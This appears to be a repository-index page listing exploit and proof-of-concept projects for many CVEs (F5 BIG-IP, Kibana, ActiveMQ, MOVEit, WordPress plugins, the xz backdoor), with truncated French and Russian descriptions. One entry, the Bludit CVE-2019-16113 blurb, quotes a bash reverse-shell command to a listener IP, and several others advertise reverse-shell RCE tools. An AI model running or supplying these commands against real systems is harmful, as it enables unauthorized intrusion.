CVE-2019-7482

Multiples vulnérabilités dans les appliances SonicWall SMA/SRA CVE-2019-7481, CVE-2019-7482, CVE-2019-7483, CVE-2019-7484, CVE-2019-7485, CVE-2019-7486 Première publication : 26 févr. 2020 14:00 GMT Statut : En développement Dernière mise à jour : 26 févr. 2020 14:00 GMT Score CVSS : 9.8 Résumé L...

pcileech

PCILeech Summary: PCILeech uses PCIe hardware devices to read and write target system memory. This is achieved by using DMA over PCIe. No drivers are needed on the target system. PCILeech also works without hardware together with a wide range of software memory acqusition methods supported by the...

CVE-2024-28255

OpenMetadataRCE CVE-2024-28255 Analyse/exploitation par lots 1. Cet outil est utilisé uniquement pour les tests de sécurité, et je ne suis pas responsable de toute attaque illégale. 2. L'outil est utilisé uniquement pour les tests de sécurité, et je ne suis pas responsable de toute attaque...

xzbot

xzbot Exploration de la backdoor xz porte dérobée CVE-2024-3094. Comprend les éléments suivants : honeypot : serveur vulnérable factice pour détecter les tentatives d'exploitation ed448 patch : patcher liblzma.so pour utiliser notre propre clé publique ED448 backdoor format : format de la charge...

Nuclei-Template-Exploit-F5-BIG-IP-iControl-REST-Auth-Bypass-RCE-Command-Parameter

Шаблон Nuclei для эксплуатации обхода аутентификации и удаленного выполнения команд в F5 BIG-IP iControl REST | Параметр команды CVE-2022-1388 — это уязвимость обхода аутентификации в компоненте REST API iControl в BIG-IP, которой был присвоен показатель CVSSv3 9.8. REST API iControl используется...

CVE-2019-7609

CVE-2019-7609 Эксплуатация CVE-2019-7609kibana RCE правильным способом с помощью python2-скриптов скриншот использование python2 CVE-2019-7609-kibana-rce.py -h usage: CVE-2019-7609-kibana-rce.py -h -u URL -host REMOTEHOST -port REMOTEPORT --shell optional arguments: -h, --help show this help...

cve-2023-46604

Apache ActiveMQ CVE-2023-46604 CVE-2023-46604 est une vulnérabilité largement exploitée qui figure sur la liste KEV de la CISA. Cette implémentation go-exploit peut exécuter un reverse shell sur les cibles à l'aide d'une charge utile Nashorn, ou télécharger un binaire sur la cible et l'exécuter...

spd_flasher

Усиленный эксплойт CVE-2022-38694 — автоматический прошивальщик USB Host на RP2350 中文版 README Руководство Руководство по обратному проектированию загрузочной цепочки UDX710 и укреплённой загрузке RP2350 Использование уязвимости CVE-2022-38694 в BootROM Unisoc через Raspberry Pi RP2350 USB Host дл...

CVE-2023-3452-PoC

CVE-2023-3452-PoC - плагин Canto для Wordpress "Плагин Canto для WordPress уязвим к удалённому включению файла Remote File Inclusion в версиях до 3.0.4 включительно через параметр 'wpabspath'. Это позволяет неавторизованным атакующим включать и выполнять произвольный удалённый код на сервере, при...

SSCMS-PluginShell

Installer Visual Studio 2. Importer le projet 3. Modifier la valeur de IPAddress.Parse dans le fichier Startup.cs using Microsoft.Extensions.DependencyInjection; using SSCMS.Advertisement.Abstractions; using SSCMS.Advertisement.Core; using SSCMS.Plugins; using System.Diagnostics; using System;...

MOVEit-Exploit

Эксплойт MOVEit эксплойт POC для CVE-2023-34362, затрагивающего MOVEit Transfer Примечание: этот проект завершён... Наша страница в Instagram . Наш YouTube-канал . Наша страница в Twitter CVE-2023-34362 POC для CVE-2023-34362, затрагивающего MOVEit Transfer Отказ от ответственности Это программно...

CVE-2022-1388-rs

CVE-2022-1388-rs Scanner et shell interactif pour CVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE écrit en Rust Résumé Pour résumer, voici un aperçu des conditions nécessaires d'une requête pour exploiter cette vulnérabilité : L'en-tête Connection doit inclure X-F5-Auth-Token L'en-tête...

CVE-2020-9484

CVE-2020-9484 Tomcat Uniquement à des fins éducatives. Voir la référence pour les détails. Exécution $ git clone https://github.com/masahiro331/CVE-2020-9484.git $ cd CVE-2020-9484 $ docker build -t tomcat:groovy . $ CONTAINER=docker run -d -p 8080:8080 tomcat:groovy Vérification propre $ docker...

CVE-2025-45467

CVE-2025-45467 : Vérification non sécurisée du firmware dans Unitree Go1 Résumé Une vulnérabilité critique CVE-2025-45467 a été découverte dans le chien robot Unitree Go1 toutes les versions du firmware ≤ Go120220511, où le mécanisme de mise à jour du firmware repose uniquement sur des...

CVE-2022-0543-Home-Lab

CVE-2022-0543 — Évasion du sandbox Lua de Redis Exécution de code à distance CVE‑2022‑0543 — Redis Lua Sandbox Escape, qu'est-ce que c'est ? Cette vulnérabilité ne concerne que Redis installé via les paquets Debian / Ubuntu. Comme Redis est compilé avec le moteur Lua en tant que module dynamique...

CVE-2023-5360

CVE-2023-5360 Exploit de téléchargement de fichiers Elementor Le plugin WordPress Royal Elementor Addons and Templates avant la version 1.3.79 ne valide pas correctement les fichiers téléchargés, ce qui pourrait permettre à des utilisateurs non authentifiés de télécharger des fichiers arbitraires...

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 RCE authentifié Utilisation python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" Exemple...

Awesome_shiro

Awesome-shiro CVE-2016-4437 Shiro Décodage Base64 -- Déchiffrement AES -- Désérialisation Environnement Linux/Windows 10 fonctionnent tous deux. Python2/Python3 fonctionnent tous deux. En raison de la présence de ysoserial.jar sous le module, le projet est un peu volumineux, merci de votre...

CVE-2024-11320

CVE-2024-11320 Exploit pour l'exécution de code à distance Pandora FMS CVE-2024-11320...

CVE-2022-1388

CVE-2022-1388 RCE, Reverse Shell, et Exportation Automatique de PCAP -- POUR USAGE ÉDUCATIF UNIQUEMENT -- L'auteur n'est pas responsable et ne peut être tenu pour responsable de toute action entreprise avec quelque aspect que ce soit de ce projet/dépôt. J'ai créé cela dans le but de comprendre...